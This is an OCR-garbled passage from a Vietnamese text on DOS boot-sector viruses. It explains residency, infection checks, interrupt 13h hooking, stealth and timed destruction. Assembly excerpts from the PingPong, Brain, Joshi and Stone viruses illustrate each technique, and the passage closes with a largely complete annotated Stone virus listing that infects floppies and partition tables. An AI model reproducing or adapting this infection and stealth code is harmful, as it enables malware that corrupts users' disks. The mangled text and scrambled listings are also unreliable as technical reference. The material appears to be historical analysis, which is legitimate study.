khong duge thuc hién lai va do d6 virus lai tu n6 giam kich thudc thém mot 1an nita. Qua trinh
Warm Boot néu dugc 1ap di 1ap lai vai 1an (nhét 1a khi cdc doc gia dang “nghién citu “vé virus
ching han) s& 1am ddy viing nhé va d6 s& 1a d4u hiéu “ddng ngd “vé su xuat hién clia virus. Dé
gidi quyét truong hop ndy, truée khi tién hanh Iuu trd, virus s& kiém tra su ton tai clia minh
trong viing nhé, néu khong gip mot nhan dang dang ké ndo, viéc luu tri méi duoc thuc hién.
2/ Ki thuat kiém tra tinh duy nhat: Dau tién, chi c6 viéc kiém tra trén dia, mot dia chua bi
lay s& bi lay. Nhung, nhu di dé cap & trén, nhuoc diém cia phuong phdp luu tri cling doi hdi
ki thuat nay duoc ap dung vao viéc kiém tra ving nhé. Tuy vay, van c6 su khdc nhau giita 2
cach kiém tra nay. Chung ta s& xét lan luot & day.
a. Trén dia: Viéc kiém tra trén dia gap nhiéu diéu phién todi vi né doi hoi phai thdéa man 2
yéu cau:

+ Thoi gian kiém tra: néu moi tac vu doc/ghi déu phai kiém tra dia thi ro rang thoi gian
truy xudt s€ bi tang gap doi, gia tang nguy co bi nghi ngg.

+ Ki thuat kiém tra: phai bao ddm tinh chinh x4c giita mot dia bi lay va mot dia chua bi
lay, cling nhu bao dam tinh tring hop ngiu nhién Ia it nhat.
Pé gidi quyét ca 2 yéu cau trén, c4c ki thuat sau da dugc cic virus dp dung
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D6i v6i thoi gian kiém tra c6 thé gidm s6 1an kiém tra xuéng bing cdch chi kiém tra néu phat
hién c6 su thay déi truy xuét tir 6 ndy sang 6 khdc. Mat khéc, chuyén s6 1an kiém tra thuong
xuyén thanh “dinh ki “bang cdch kiém tra thoi gian. Mot hinh thiic khéc ciing gidm bdt s6 1an
kiém tra néu ta dé y dia cting luon c6 dinh, khong bi thay déi, do dé néu tién hanh lay mot lan
s& khong cén thiét phai kiém tra, con d6i v6i dia mém, moi tic vu doc track 0 méi kiém tra.
Diéu nay ciing khong ¢6 gi ddng ngac nhién néu ta bi€t FAT trén dia mém hau nhu béit dau
sau virus va DOS cén phai c6 bang FAT dé quan 1{ dia d6. Poan ma sau dp dung 2 phuong
phép dau:

;Khi ngit 13h duge goi

cmp Disk, DL ;So sanh dia cua tac vu trudc véi gia tri
mov Disk, DL ;cua tdc vu nay

jne kiemtra ;:Néu c6 thay déi s& kiém tra

Xor AH, AH

int 01AH ;Lay timetick count

mov CX, DX ;Cat time low

sub DX, count ;Trlr gid tri timetick low hién thoi
mov count, CX ;VGi timetick low ctia tdc vu truGe
sub DX, 24h ;va luu lai chénh 1éch 2 tac vu da

jb khongkiemtra ;161 2 giay chua?

kiemtra:

(Trich PingPong virus)
Doan mi sau minh hoa phuong phap thit 3:

push DS

push AX

cmp  AH,2 ;Tac vu doc/ghi? Bang c4ch so sdnh
jb notInfect ;tdc vu v6i 2 va 4

cmp AH, 4

jae notInfect

or DL. DL

jne notInfect :Dia A?

....... ;Doan ma lay

notInfect:

(Trich Stone virus)

D6i v6i ki thuat kiém tra, c6 nhiéu c4dch. Tuy nhién, c6 thé néu ra 2 cich sau:

Kiém tra gid tri tir khéa (Key value): méi virus s& tao cho minh mot gid tri dac biét tai 1 vi tri
xdc dinh trén dia. Viéc kiém tra s& don gidn bang c4ch doc Boot record lén va kiém tra gia tri
tlr khéa nay. Gid tri chia Key value nay thay déi tily theo virus. D6i v6i Brain 9.0, gié tri cla
key value nay 1a 01234 & offset 03, d6i v6i Pingpong virus, key value 1a 1357h & offset 01FCh.
Mot dang khac cta Key value 13 kiém tra gia tri cila mot ma lénh dac biét ma néu khong c6
ma 1énh nay chuong trinh virus s€ khong con y nghia gi nita (virus s€ khong lay hay khong thi
hanh). D6 1a trudng hgp ciia virus Stone vdi cach kiém tra 2 tir khoa & offset 0 va 2 1a 0SEAh
va 0CO00h, Pay la ma lénh ctia mot 1énh JMP FAR, theo d6 toan b chuong trinh s& duogc
dinh vi lai theo segment:offset mdi

Ki thuat key value nay da gap nhiéu tr& ngai khi s6 lugng B - virus tang lén dédng ké ma vi trf
trén Boot sector thi c6 han. Vi vy khong c6 gi ddng ngac nhién néu Disk Killer virus va Brain
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9.2 ¢6 cling mot offset ciia key value tai vi tri 03Eh v6i hai key value khdc nhau 1a 03CCBh va
01234h. Chinh vi vay, mot ki thuat méi phai dugc dua ra nhim khéc phuc diéu ndy. Cach khic
phuc nay s& lam giam kha nang trung hop ngau nhién bang céch tang s6 lugng ma lénh can so
sanh lén. Viéc so sdnh nay tién hanh bang cdch so sinh mot doan ma quan trong clia virus
trong ving nhé véi doan ma tuong tng trén Boot sector cta dia. Moi su khdc biét du chi trén
mot byte ciing dan dén viéc lay lan. Poan ma so sanh nay cin phai mang tich chat dac biét cho
virus d6, cung ton tai vGi su ton tai cua virus do.

Poan mi sau s& minh hoa ki thuat nay béng cdch so sanh 2 chudi:

;Gia str Boot sector dugc doc vao buffer c6 tén Bufferl

mov SI, offset bufferl

mov AX, CS
sub AX, 20h ;ES:DI tro dén offset 2 cua
mov ES, AX ;buffer chita Boot sector
mov DI, 2
mov BL, ptr byte [DI-1] ;Tinh toédn offset cua doan ma
mov bh, 0 ;can phai do
add DL, BX
add SI, BX
mov CX, 179h
sub CX, DL
cld
repe cmpsb
je Da_nhiem
Da_nhiem:

(Chuong trinh cta Joshi virus).

Ngoai ra, khong phai 1a di hét cc ki thuat kiém tra khdc c6 thé néu ra & day nhu ki thuat
Checksum, tuy nhién, ki thuat cang tinh vi, cang chinh x4c bao nhiéu thi doan ma kiém tra
cang dai bay nhiéu. Tru6c mat, ki thuat trén ciing di bdo ddm toc do kiém tra va tinh chinh
xdc nén c6 1& s& khong con mot ki thuat ndo khac duge dua ra (kha nang dé mot dia tring
nhau doan ma hau nhu 1a khong c6 vi cdc dia déu duoc format dudi mot vai hé diéu hanh quen
thuoc, do dé ‘tic gid’> c6 thé da thir nghiém réi! Mat khdc, néu hai virus cting nhan dién mot
doan ma thi cling coi nhu da bi nhiém virus roi.

b. Trong viing nhé: Viéc kiém tra su ton tai ciia minh trong viing nhé bdo dam virus khong dé
qué nhiéu ban sao ctia minh trong viing nhé néu mdy tinh bi Boot mém lién tuc (warm boot)
diéu nay bdo dam cho virus tranh dugc nguy co bi phét hién vi da 1am giam toc do lam viéc
cua chuong trinh. Mat khéc, 1am giam di thoi gian “nap “lai chuong trinh virus vao viing nhd.
Pé kiém tra su ton tai cha minh trong viing nhé, B - virus don gian c6 thé do tim mot key
value tai mot vi tri xdc dinh trén viing nhé cao hoic phic tap hon, c6 thé do tim mot doan
mang ma virus s€ phai “nap “chuong trinh cia minh vao néu viéc do tim khong thanh cong.
DPoan chuong trinh sau s& minh hoa cach do tim nay:

cli ;Tao stack va khdi tao cac thanh ghi
mov AX, CS ;phan doan

mov DS, AX

mov SS, AX
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mov SP, OFO00h
sti
mov AX, w[0413]
mov CL, 6
shl AX, CL
mov ES, AX
mov AX, 0200
sub AX, 021h
mov DL 0
mov SI, 07C00
add SI, AX
add DI, AX
mov CX, 1079
sub CX, AX
cld
repe cmpsb
jne naplai
mov AX, ES
add AX, 20h
mov ES, AX
mov BX, 0
push ES
push BX
mov AX, 1
retf

Naplai

(Trich Joshi virus).

;Lay gid tri tdng cong
; Vlung nhé 4p dung ki thuat
;thudng trd
;Péi sang doan
;ES tré dén ving nay
;Xdc dinh vi tri can do tim

;DS:SI trd dén Boot record
;cua virus
;ES:DI tro dén offset 200h-21h
;cua vling cao
;CX chita so byte cin so sanh
;CX=179h-21h

;S0 sanh néu khong bang sé& nap lai
;chuong trinh, néu bang chuyén
;quyén diéu khién cho doan trén
;viing cao ma khong can nap lai
;chuong trinh

3/ Ki thuat lay lan: Viéc lay lan chi€ém mot phan 16n ma Iénh ctia chuong trinh. Dé bao dam
viéc lay lan gan lién v6i dia, virus s& chiém ngat dia quan trong nhat: ngat 13h. So d6 chung
clia phan nay nhu sau:

Yes

Poc/Ghi No

Poc Boot sector

Pa nhiém?

N

Ghi Boot sector clia yirus
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Ghi phan than va Boot sector vao

mot viing x4c dinh

Thong thudng, khong phai moi chic niang ctia ngit 13h déu din dén viéc lay lan vi diéu nay s&
lam giam di t6c d9 truy xudt mot cach ddng ngd ma tét nhat chi nhiing tic vu doc/ghi (chic
nang 2 va 3). Viéc lay lan béat dau bang cdch doc Boot sector 1én néu khong thoa (chua bi
nhiém) virus s& tao mot Boot sector méi c6 céc tham s6 tuong ting, con Boot sector vira doc
1én ciing v6i phan than (n€u 1a loai DB - virus) s& dugc ghi vao mot viing xdc dinh trén dia.
Tuy vay, viéc 1y lan cling doi hoi nhiing bao dam sau:

Boot sector van con chita nhitng tham so dia thuén tién cho cdc tdc vu truy xuat dia (bang tham
s6 BPB - trong truong hop Boot sector hay bang Partition table trong truong hop Master boot),
do dé, virus phai bao dam cho dugc bang tham s6 nay bang céch luu gilf né. Viéc khong bao
toan c6 thé din dén chuyén virus s& mat quyén diéu khién hay khong thé kiém sodt dugc dia
néu virus khong ¢6 mit trong moi trudng. Vi du: phdn mém NDD (Norton Disk Doctor) s&
diéu chinh lai bang BPB trong trudng hgp bang tham s6 nay sai, hay viéc mat bang tham so dia
trén  dia loai 720Kb hodc 1.44Mb ciing din dén viéc khong kiém sodt duoc dia nay. Do do,
diéu tot nhat 12 van phai gilt n6 lai trong Boot sector m&i va mot ich 1¢i thit hai 1a c6 thé dua
vio day dé dinh ra cdc thanh phan clia dia (xem chuong 1). Poan ma sau minh hoa viéc tra lai
bang tham s& BPB trong Boot sector méi:

;Doc Boot sector vao offset 07C00 va tao Boot sector méi tai 08000

mov AX, 0201

mov DH, 0

mov CX, 1

mov BX, 07C00h

int 13h ;Poc Boot sector vao

mov SI, 08002 ;Copy bét dau tir sau lénh nhay
mov DI, 07C02

mov CX, 01Ch ;Copy 1Ch byte

rep movsb

(Trich PingPong virus)

Su an toan dit liéu ctia Boot sector ciing dugc dat 1én hang dau. Ngoai viéc chap nhan mat mat
do dat & nhitng chd ma xac suét bi ghi de 1a it nhat, chdng ta s& khao sat 2 ki thuat dam bao an
toan cho Boot sector. D6 1a format thém track va ddnh dau cluster hong trén dia.

+ Format thém track: ki thuat nay chi d4p dung duoc trén dia mém (trén dia cing da cé
nhitng viing tuyét d6i an toan roi). Thong thudng, bo diéu khién dia mém déu cho phép format
thém track, nhung do mic do an toan thong tin khong bao dam, DOS chi diing mot s6 nao d6
ma thoi. Viéc format thém track doi hoi virus phai chudn bi bang mo ta sector trong track ma
n6 du dinh format (sector descriptor) ¢6 dang: méi sector trong mot track duge dic trung 4
byte c6 dang ‘CHNS’. Trong d6: C=Cylinder; H=head; N=s6 sector; S=kich thudc cua sector
(0=128 byte, 1=256 byte, 2=512 byte, ....). Cic budc tién hanh viéc format nhu sau:

- Xéac dinh loai dia dé tir d6 suy ra track cudi cling, tuy nhién, diéu nay chi ding véi dia
duoc format dugi DOS.

- Dit lai cau hinh & dia truéc khi format.

- Khéi tao bang sector descriptor can ct vao so track tinh dugc.
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Doan ma sau clia Joshi virus khong dinh dang & dia truéc khi format nén da gay 16i khi format

dia loai 1.2Mb.

;Phan format dia

40

mov
sub
mov
mov
mov
mov
add
cmp
jb
mov
mov
mov
jmp
Floppy:
mov
mov
mov
mov
mov
mov
mov
mov
call
je
mov
Contl:
mov
push
pop
mov
mov
Cont2:
stosp
inc
inc
inc
loop

mov
sub

mov
mov
mov

AX, CS
AX, 20h
ES, AX
DI, 2
BH, 0
BL, ptr byte [DI-1]
DI, BX
DI, 80h ;Dinh vi dé ES:DI trd vao bang tham s&
Floppy
ptr byte [DI-3], 0 ;offset noi dung
ptr byte [DI-2], 2 ; -1: 80 dia vat I
ptr byte [DI-1], 80h ; -2: 80 sector
cont0 ; -3: s0 track
ptr byte {DI-2], 1 ;Néu dia mém s& khdi tao sector 1
ptr byte [DI-1], 0 ;Pia physic 0
ptr byte [DI-3], 28h ;Track 28h (dia 360Kb)
AL, 4 ; Verify sector 15, néu gép 16i coi nhu khong
AL, 1 ;c6 sector nay, ngugc lai, dia s€ c6 S0h track
CH, 0 ;do d6 dia la 1,2Mb
CL, OFh
DH, 0
OldDisk
contl
ptr byte [DI-3], 50h ;Diéu chinh lai s6 track theo loai dia
;Phan khoi tao descriptor

AL, ptr byte [DI-3] ;AL = s0 track

CS
ES
DI, offset SectorDescriptor
CX, 8 ;Tao 8 sector mot track

;Tao gid tri

DI
DI
DI ;Tro dén tham s6 k€ trong bang
cont2
AX, CS
AX, 20h
ES, AX
DI, 2
bh, 0
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mov BL, ptr byte [DI-1]

add DI, BX

push CcX

mov AH, 5 ;Format

mov AL, 1

mov ch, ptr byte [DI-3] ;Track thém
mov CL, 1

mov DH, 0 ;Head 0

push CS

pop ES

mov BX, offset SectorDescriptor
call OldDisk

OldDisk procnear
pushf ;Ham nay goi xa dén dia chi cii
call far int13 ;clia ngét 13
ret
OldDisk endp
SectorDescriptor db 28h,00h,01h,02h
28h,00h,02h,02h
28h,00h,03h,02h
28h,00h,04h,02h
28h,00h,05h,02h
28h,00h,06h,02h
28h,00h,07h,02h
28h,00h,08h,02h

(Trich Joshi virus)

Phuong phép nay it dugc cac hacker ua chudng va dung vi tinh tuong thich khong cao giita cic
loai & dia. Phuong phdp chiém cluster van dugc nhiéu ngudi ding du do phic tap clia né cao
hon. O day, toi s€ khong di sau vao chi tiét cach phan tich va dinh vi cluster trén FAT vi s&
mat qua nhiéu thi gio ma lam cho doc gid thém khé hiéu. Tuy nhién, vin néu ra day cdc khé
khan gap phai khi str dung phuong phéap nay.

+ Nén phan tich FAT chi cho dia mém hay cho ca hai loai dia mém lan dia ciing? Thong
thuong, céc hacker chon phuong dn chi phan tich trén FAT clia dia mém vi tat ca cdc loai dia
mém (va cd dia ciing dui 12Mb) déu dung loai FAT 12 bit, don gian hon 1a phai phan tich
thém FAT 16 bit. Mat khac, cac dia cing du c6 chia partition hay khong ciing thuong c6 cac
sector an (Hidden sector) khong diing dén (néu né chua bi mot virus khdc trung dung), rat
thuan 1gi cho viéc cat ddu. Nhung van c6 ngoai 1¢ khi Pingpong virus van lam diéu kho khan
nay, né chiém céc cluster trén ca hai loai FAT v6i doan ma phan tich FAT “t6i wu’ vé kich
thudce ciing nhu giai thuat, duge ‘trich doan’ tir ma phén tich FAT trong file hé thong 10.SYS
cta DOS.

+ Chon phuong phdp ndy, hacker phai chap nhan tai FAT vao ving nhé dé phan tich.
Nhung kich thu6c FAT clia méi dia 1a khdc nhau, c6 thé chi€m nhiéu sector (d6i véi dia
1.2Mb lén dén 7 sector cho mot FAT). Do do, kich thuGc ving nhé ma virus phai chiém chd
cho FAT ciing da qua 16n, chua ké dén doan chwong trinh clia virus. Gidi quyét van dé nay
ciing khong phai 1a dé dang néu ta biét DOS ciing phai dén version 3.xx mdéi gidi quyét duoc.
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4/ Ki thuat pha hoai: Khong ai xa la gi vé kiéu phd hoai ctia virus (déi khi ciing dé 16i cho
virus dé che ddu su thi€u hiéu biét clia minh). C6 thé chia nhitng loai phd hoai thanh hai nhém
chinh.

a. Pinh thoi: D6i véi loai dinh thoi, virus s& kiém tra mot gia tri (c6 thé 1a ngay gid, s6 lan
lay, s6 gio mdy da chay ....). Khi gid tri ndy vuot qua mot gid tri cho phép, virus s& bat dau pha
hoai. Do tinh chat chi ‘ra tay’ mot 1n, virus loai nay thudng nguy hiém. D€ c6 thé dém gio,
virus ¢6 thé dung céc céch sau:

+ Chiém ngat 8 dé dém gid: viéc quy ddi sé dugc tinh tron hon 14 chinh xéc. Theo cdch
tinh nhu vay, mot gid tri OFFFFh cda timetick count s€ tuong duong nhu mot gio. Cach tinh
ndy thudng ding dé tinh s¢ gid chay mdy, gid tri dém c6 thé cap nhat lai sau dé trén dia. Pic
trung cho cédch nay 1a virus Disk Killer v6i bo dém gio ‘khling khi€p’, sau khi chay may duoc
48 gio, toan bd partition boot dugc clia ban s€ bi ma hda toan bo (mot tai liéu nude ngoai cho
la dia cing bi format lai hodc bi ghi ‘rdc’ vao - nhung diéu nay hoan toan sai 14m).

+ Chi€m ngét 21h cha DOS dé 1dy ngay théng: viéc 14y ngay thang xem ra khé khan cho
B - virus hon 1a F - virus, vi & mtc do qua thap, khi may vira khoi dong, DOS chua khdi tao
cdc ngét cho riéng minh, ké ca ngit 21h. Do dd, virus chi c6 thé 1dy ngay thang tr CMOS
RAM trén cdc may AT, di€u nay lai khong c6 trén XT. Do tinh khong ‘tuong thich’ nay ma
cdc B - virus bé qua khong ding dén céch nay. Tuy nhién, vé sau, khi da “phét trién’ cao, B -
virus di c¢é thé vong lai mot 1an nita dé 1ay ngat 21h thi viéc ndy méi dugc giai quyét xong.
Pic trung cho loai nay 12 Joshi virus, v6i su kiém tra lién tuc ngdy thdng clia hé diéu hanh,
néu ding vao ngdy 5 thdng 1, né s& bit ngudi sit dung danh vao mot cau chiic ming ‘Happy
birthday Joshi’ tru6c khi c6 thé lam thém bat ki mot diéu gi.

+ Dém s6 1an lay cho cdc dia khédc: cach nay dé thuc hién hon vi khong can phai dém gio,
ngay thdng cho mat cong. Khi mot dia dugc virus ‘ki tén’ vao, bo dém ctia n6 sé tu dong tang
1én mot don vi. Khi s6 dia bi lay da vugt qua mot con s6 cho phép, dia d6 sé bi pha hoai.

b. Ngdu nhién va lién tuc: Virus khong can phai dém gio, chi sau vai phiit xdm nhéap vao hé
thong, né sé phat huy tic dung. Do tinh chét nay, virus khong mang tinh phd hoai ma don gian
12 gay mot so hiéu ting phu & loa, man hinh, ban phim... @& gay su ngac nhién v thich thd (Iin
buc doc) cho nguoi sir dung.

Pién hinh cho loai nay 13 Pingpong virus, sau khi tham nhap xong, vai phiit sau da thdy trén
man hinh xuét hién mot trai banh chuyén dong trén man hinh va tuan theo diing cdc dinh luat
phan xa khi gép cdc dudong bién. Dac biét, nhitng ki ty ma né di qua van giit nguyén khong bi
thay ddi (céc ban c6 thé xem doan chuong trinh mo6 phong & phan phu luc A).

5/ Ki thuat nguy trang va gay nhiéu: Ki thuat nay thuc ra di ra doi kha muon mang do
khuynh huéng ngay cang dé bi phat hién. Kich thuge virus khd nhd bé nén viéc do timg bude
(trace) xem né6 1am gi 12 diéu ma céc thdo chuong vién c6 thé 1am duoc. Trong thuc € khé c6
mot phuong phdp hitu hiéu ndo dé chéng lai ngoai cach viét c6 tinh ric réi. Phuong phdp nay
c6 vé c6 dién nhung lai rat hitu hiéu. Bing mot loat cdc lénh ma ngudi do theo c6 thé bi halt
mdy nhu dit lai stack vao mot ving ma khong ai ddm thi hanh ti€p, chi€m va x6a mot s6 ngit,
dat lai thanh ghi phan doan dé ngudi do khong biét dit liéu 14y tir dau ra .... Cdc chuong trinh B
- virus v€ sau da gay kho khan khong it trong c6 ging khoi phuc dia bi nhiém. Mot phuong
phdp khac c6 thé dung 12 ma héa ngay chinh chuong trinh virus, tuy nhién, cho dén nay chua
¢6 mot chuong trinh B - virus nao duing dé€n phuong phap nay.

Viéc gy nhiéu nay chi c¢6 tic dung trén cdc mdy da bi nhiém hodc dung mot phan mém debug
theo dai. Néu toan bo chuong trinh virus dugc d8 ra thanh file va xem ting buéc mot thi virus
ciling danh phai chao thua.

D¢ tranh bi phat hién qué sém hodc bi phdt hién bdi cdc phan mém chong virus, doi hoi virus
phai c6 tinh nguy trang. Viéc nguy trang nay xdy ra trong ving nhd lan trén dia.

Dai v6i viing nhd, véi ki thuat luu trd, B - virus luon chi€ém & viing nhé cao, do d6 s€ tao ra su
chénh léch giita ving nhd do BIOS quén 1i va viing nhé thuc su ctia may. Bat ki mot phan mém
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cong cu nao kiéu Memory Map déu c6 kha nang thong bao diéu nay (chang han PCTools clia
Central Point ...). Thyc € ‘dau 1ong’ khong thé nao trdnh khoi ndy dang 1a ndi dau diu cho cac
hacker. Dén nay, van chua ¢6 B - virus nao giai quyét van dé nay va moi chuyén van con &
phia trudc.

Déi véi dia, moi chi y déu tap trung vao Boot sector (va Partition table nita). Moi thay ddi trén
Boot sector dit nho ciing tao mot méi nghi ngd cho ngudi st dung - ngudi da c¢é qua nhiéu
kinh nghiém qua nhiéu 14n phé hoai cta virus. B - virus di gidi quyét van dé nay béang hai
cdch. Chi cai ding doan ma chinh vao Boot sector (n€u virus thuoc loai DB - virus), doan ma
niy cang ngin cang tot va nhat 1a cang giong doan ma chudn trong Boot sector. Poan nay chi
c6 mot nhiém vu cén con 1a nap ti€p phén con lai vao trong ving nhé va trao quyén cho né. Vi
1i do nay kha ning phdt hién virus da giam xuong ddng ké. Tuy vay, cdch thi hai vin luon
duoc 4p dung: khi mdy dang ndm trong quyén chi phdi clia virus, moi yéu ciu doc ghi Boot
sector (hay Partition table), tit nhién 12 trlr chinh virus, s& dugc virus tra vé cho mot ban Boot
sector chuén - Boot sector trudc khi virus lay. Va diéu nay, sé gay ra mot ‘4o tudng’ vé su
trong sach cia mdy va ddnh lira luon ca nhitng chuong trinh Antivirus néu né dugc thiét k&
khong tét.

Doan ma sau s€ trinh bay cach tra Boot sector:

;PA4u vao ctia ngit 13h da bi virus chiém

cmp CH, 2 ; Chiic nang doc?

Jne exit0

cmp DL, 2 ; Truy xuat trén dia mém?

ja exit0

cmp ch, 0 ;Track 07

Je cont( ;N€u khong phai track 0 s€ thuc hién
...... ; viec kiém tra

exit0:

jmp exitl

cont(

mov ptr byte [227h], 0
mov ptr byte [225h], 4

push AX

push BX

push CX

push DX

mov ptr byte [226h], DL ;Cat gia tri dia

mov  CX, 4 ;Ngat 13h cii da duoc déi thanh ngat
push CcX ;6DH

mov AH, 0

int 6Dh ;Reset lai dia

jb error

push ES

mov DH, 0 ;Doc Boot sector vao buffer cua virus
mov CX, 1

mov BX, offset buffer

mov AX, CS

mov ES, AX

mov AX, 201h
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Jjmp

retf

06Dh
ES
contl

CX

AX, ptr word buffer[3]
AX, 1234h

infect

ptr byte [227]

cont2

DX

CX

BX

AX

CX, 1

exitl

ptr byte [227h], 1
exit2

CX, buffer [7]
DX, buffer[5]
DL, ptr byte [226]
exitl

6Dh
2

(Trich Brain virus version 9.2)

;Khong gap 16i

;Kiém tra key value & offset 3
;Key value 1a 1234h

;Néu sai chuyén sang ché do lay
;Bat ¢o hiéu da nhiém

;Track O sector 1?

;Pa lay chua?
;CX=Track-+sector
;DX=head

;DL=d1a
;Dia chi clia Old boot trén dia

;Poc sector cii vao

Do d6, so d6 chung c6 thé dugc bé sung nhu sau:

Poc Boot sector?

Yes

Doc boot cuia virus vao
Dinh vi va doc Boot sector cii vao

6/ Ki thuat dinh vi chuong trinh: Ki thuat nay it duoc ai dé y du ring né déng mot vai tro
khong nho trong viéc gay nhiéu va dé thiét k& chuong trinh trong viéc truy xuét dit lieu.

Nhu ta da biét, Boot sector dugc tii vao dia chi 0:07C00h. Nhu vay céc dit liéu trong bang
tham s6 phai dugc tham chi€u bing CS va 14y ra tir offset 07C00h. Ro rang, diéu nay gay kho
chiu cho ngudi thiét k€ 14n ngudi muén doc né. Cach t6t nhat 1a bang mot phép bién déi nao
d6, chuyén dia chi nay sang mot dang khdc véi offset quen thuoc hon. Phuong phap thudng
duoc dung la: dinh vi ngay mot ving nhé luu trd, chuyén toan bo chuong trinh sang viing nay
va chuyén quyén véi offset méi 1a 0 hay 100h (twong tng véi file dang COM va BIN). Phuong
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phép nay rd rang rat quen thudc d6i véi cdc thao chuong vién hé thong. Poan ma sau minh hoa

diéu nay:
;:Gia stt DS=0
mov BX, 413h ;DS:BX =0:413h : Téng sO memory
mov AX, ptr word [BX] ;AX= téng s6 memory
sub AX,7
mov ptr word [BX], AX ;Giam s6 memory xudng 7Kb
mov CL, 6
shl AX, CL ;Chuyén sang doan
sub AX, 10h ;Giam 100h nham tao offset 0100h
mov ES, AX
mov SI, 7C00h ;Chuyén toan bo chuong trinh virus sang
mov DI, 100h ;vung nhé méi véi offset méi 100h
mov CX, 1000h
cls
rep movsb
push ES
mov AX, 300h
push AX
retf

(Trich Brain virus version 9.2)

Mot cdch khdc cho phép déi nhanh hon ma khong can phiic tap di dugc virus Stone dé nghi:
don gian 1a mot Iénh JMP FAR ngay tir dau chuong trinh néu ta dé y:

IMP FAR 07C00h
Lénh nay thuc chat chuyén quyén diéu khién cho lénh tiép theo, tuy nhién, lic nay offset da
dugc dua vé dang BIN.

VI - Phan tich mét B - virus.
Pé phan tich mot B - virus, khong c6 gi ghé gém ca. Tuy vay, dé c6 mot virus mang tinh khai
quét cao va nhat 1a khong c6 mot 16i gi (bug) trong chuong trinh (thuong 16i & day khong phai
12 logic), lai minh hoa c4c ki thuat vira néu trén thi qua 1a khé chon. Nhung dé khong mat qua
nhiéu thoi gid vo ich trong viéc phan tich nhiing virus qud dai dong, ching ta s& ciing phan
tich mot SB - virus: Stone virus.
1. M6 td ddc trung:

+ Dinh vi chuong trinh: kiéu .BIN

+ Kich thuéc viing nhé bi virus chi€m 2Kb.

+ Ki thuat kiém tra tinh ton tai: Mot bién dang clia Key value bing cach kiém tra 2
word dau tién.

+ D6i tuong tédn cong: ca hai loai dia mém va cing. D6i véi dia ciing tdn cong vao
Partition table.

+ Boot sector hay partition dugc cit dau & Track 0, head 0, sector 7 d6i véi dia cing
va Track 0, head 1, sector 3 d6i v6i dia mém.

+ Khong trd BPB cho dia mém.
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+ Ph4 hoai: Mot gia tri ngiu nhién theo thoi gian, khi Boot mdy s€ dua ra thong bdo
“Your PC is now stoned!”
2. Phan tich:

; Chuong trinh phan tich
org 0
jmp far 07COh:0
jmp begin
;Bang tham s&
DiskID db 0 ; C6 gia tri 0 néu dia A, 080h néu C
OffInt13 dw 0 ; Chita dia chi ngét 13h
SegInt13 dw 0
OffVirus dw OE4h
SegVirus dw 7C00h

SegBoot dw 7C00h
OffBoot dw 0

NewlIntl3  proc near
; Chiic nang: chi lay trén dia mém khi thuc hién chifc nang read/write dia cing.
; (n€u c6) da dugc lay trong qua trinh Boot may.
; Procedure ndy thay cho ngét 13h cii

push DX

push AX

cmp AH, 2 ; Chic nang 27

jb StExit

cmp AH, 4 ; Chiic nang 47

ja StExit

or DI, DI

jne StExit

Xor AX, AX

mov DS, AX

mov AL, ptr byte [43Fh] ; Ldy gi4 tri kiém tra motor

test AL, 1

jne StExit

call MainProcess ; Thuc hién kiém tra va lay
StExit:

pPop AX

pop DS

jmp far DS:[OffInt13]
NewlIntl3  endp
MainProcess proc near

push BX
push X
push DX
push ES

push SI
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push DI
mov SL 4

Mpl:
mov AX, 201h
push CS
pop ES
mov BX, 200h
xor CX, CX
mov DX, CX
inc CX
pushf
call far [OldInt13]
jae Mp0
Xor AX, AX
pushf
call far [OldInt13]
dec SI
jne Mpl
jmp short MpExit
nop

Mp0:
Xor SI, SI
mov DI, 200h
cld
push CS
pop DS
lod SW
cmp AX, ptr word [DI]
jne Mp2
lod SwW
cmp AX, ptr word [DI+2]
je MpExit

Mp2:
mov AX, 301h
mov BX, 200h
mov CL, 3
mov DH, 1
pushf
call far [OldInt13]
jb MpExit

; Ghi Boot sector cua virus vao

mov AX, 301h
xor BX, BX
mov CL, 1
Xxor DX, DX

; Tao s6 1an 1ap néu 16i
; Poc Boot record

; ES=CS

; Reset lai dia

; Thuc hién kiém tra key value

; Mot tir & offset O

; Mot tir & offset 2

; Ghi Boot sector vao track 0, head 1, sector 3
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pushf
call far [OldInt13]

MpExit:
pop DI
pop SI
pop ES
pPop DX
pop cX
pop BX
ret

MainProcess endp

S — Phan Install
Begin

xor AX, AX
mov DS, AX
cli
mov SS, AX
mov SP, 7CO0h
sti

; Khoi tao Stack

;Lay dia chi ngat 13h. Luu trd trong ving nhé

mov AX, ptr word [413h]

dec AX

dec AX

mov ptr word [413h], AX

mov CL, 6

shl AX, CL

mov ptr word SegVirus, AX
; Thay ngét 13h

mov AX, 15h

mov ptr word [4*13h]

mov ptr word [4*13h+2]

; Chuyén chuong trinh sang viing nhé cao

mov CX, 1B8h
push CS
pop DS

xor SI, SI
mov DI, SI

cld

movsb

jmp far [OffVirus]
mov AX, 0

int 13h

Xor AX, AX
mov ES, AX

; Déi dia chi sang doan
; Cat dia chi nay

; Gan dia chi méi

; SO byte can chuyén

; Thuc chat 1a chuyén xudng dudi
; Reset dia

; ES=0

; Doc Boot sector vao viing nhd, tlly theo dia mém hay dia ciing ma vi tri clia boot s&
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;dugc tinh.
mov
mov
cmp
je
mov
mov
int
jmp
nop

Floppy:
mov

mov
jb
test
jne
mov
push
pop

Mcontl:
lodsb
or
je
mov
mov
int
jmp
push
pop
mov
mov
mov
mov
int
jb
push
pop
mov
mov
lodsw
cmp
jne
lodsw
cmp

AX, 201h
BX, 7C00h
DiskID,0
Floppy
CX,7

DX, 80h
13h

short Mexit

CX, 3

DX, 100h

Mexit

byte ptr [46Ch], 7

NotDestroy

SI, offset Message
CS

DS

AL, AL
notDestroy
AH, OEh
BH, 0
10h
Mcontl
CS
ES
AX, 201h
BX, 200h
CL, 1
DX, 80h
13h
MEXxit
CS
DS
SI, 200h
DL 0

AX, ptr word [DI]
Mlay

AX, ptr word [DI+2]

; Buffer AX:7C00h
; Dla mém hay dia cting

; Sector 7

; Truong hgp boot bing dia mém s& lay luon
; dia cting

; Phd hoai ngau nhién in ra dong
; “Your PC is now Stoned”

; In ra man hinh
; Trang O

; Poc Partition table vao

; Kiém tra key value
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jne Mlay

mov DiskID ; Reset diskID réi trao cho Boot sector
jmp far OffBoot
mov AX, 301h ; Ghi Partition table vao sector 7
mov CX,7 ; head 0, track 0.
Mov BX, 200h
mov DX, 80h
int 13h
jb MEXit
; Copy lai Partition table vao boot ctia virus
push CS
pop DS
push CS
pop ES

mov SI, 3BEh
mov DI, 1BEh
mov CX, 242h
rep movsb

; Ghi boot vao
mov AX, 301h

Xor BX, BX
inc CL

int 13h
jmp MEXxit

; Phan dit liu
